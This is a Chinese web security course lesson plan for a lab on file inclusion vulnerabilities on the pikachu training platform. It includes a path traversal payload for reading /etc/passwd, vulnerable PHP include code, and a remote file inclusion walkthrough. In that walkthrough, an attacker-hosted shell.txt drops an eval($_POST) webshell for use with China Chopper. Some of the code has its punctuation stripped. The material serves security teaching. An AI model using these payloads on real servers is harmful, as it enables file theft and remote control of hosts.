电子教案 web应用与安全防护-12.docVIP

/学年第学期

教案

课程名称：Web应用安全与防护

课程代码：

任课教师：

教务处印制

课次

12

课程类型

实践

项目（模块）

实践6：文件包含漏洞利用与防护

教学目标

知识目标：

1.了解文件包含、文件包含漏洞定义

2.理解文件包含漏洞的分类、文件包含函数

3.掌握文件包含漏洞利用，防范措施

能力目标：

1.能运用文件包含漏洞获取敏感信息以及加固方法

情感目标：

1.自主、开放的学习能力

2.良好的自我表现、与人沟通能力

3.良好的团队合作精神

教学重点

文件包含漏洞利用与防御

教学难点

文件包含漏洞利用与防御

教学方法

演示法

教学环境

教学楼

授课日期

2021/4/12

授课班级

19信息安全与管理

教学过程设计

课前准备

通过QQ群发布授课PPT，视频

教学内容

利用pikachu平台实践文件包含漏洞

点击提交查询按钮以后，发现实际上它传的是一个文件名到后台，后台对指定的文件做对应的操作，按照后台的设计，这些文件都是后台自己存在的文件，但是由于这个文件名是由前端传到后台的，前端的测试人员可以去修改这个文件，比如说可以去把file4.php修改成../../../../../etc/passwd文件，读取敏感文件。

源代码分析

$html=;

if(isset($_GET[submit])$_GET[filename]!=null){

$filename=$_GET[filename];

includeinclude/$filename;//变量传进来直接包含,没做任何的安全限制

////安全的写法,使用白名单，严格指定包含的文件名

//if($filename==file1.php||$filename==file2.php||$filename==file3.php||$filename==file4.php||$filename==file5.php){

//includeinclude/$filename;

//}

}

前端提交一个文件名，后端获取这个文件名后，通过include进行包含，没有对文件做任何处理。

远程包含漏洞演示

Step1：靶机设置满足远程文件包含漏洞，重启服务

vi/etc/php/7.0/apache2/php.ini

allow_url_fopen=On

allow_url_include=On

step2：在攻击机里

(1)远程服务器内容，有一个shell.txt，内容如下

?php

$a=?phpeval(\$_POST[123])?;

$b=fopen(caidao.php,w)ordie(123!);

fwrite($b,$a);

fclose($b);

?

Step3：利用

08/about.php?file=/shell.txt

上菜刀

源代码分析

//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置

if(isset($_GET[submit])$_GET[filename]!=null){

$filename=$_GET[filename];

include$filename;//变量传进来直接包含,没做任何的安全限制

练习与

作业

课后反思

注：1.一次课（2课时）写一份上述格式教案，课次为授课先后次序，填1、2、3...等。

2.课程类型：理论或实践。

3.教学环境：包含场所（教学楼、机房、实训室、操场等）和教具（实训设备、教学仪器、教学模型）。

4.课后反思要与相应的授课日期、授课班级的授课实际情况相对应。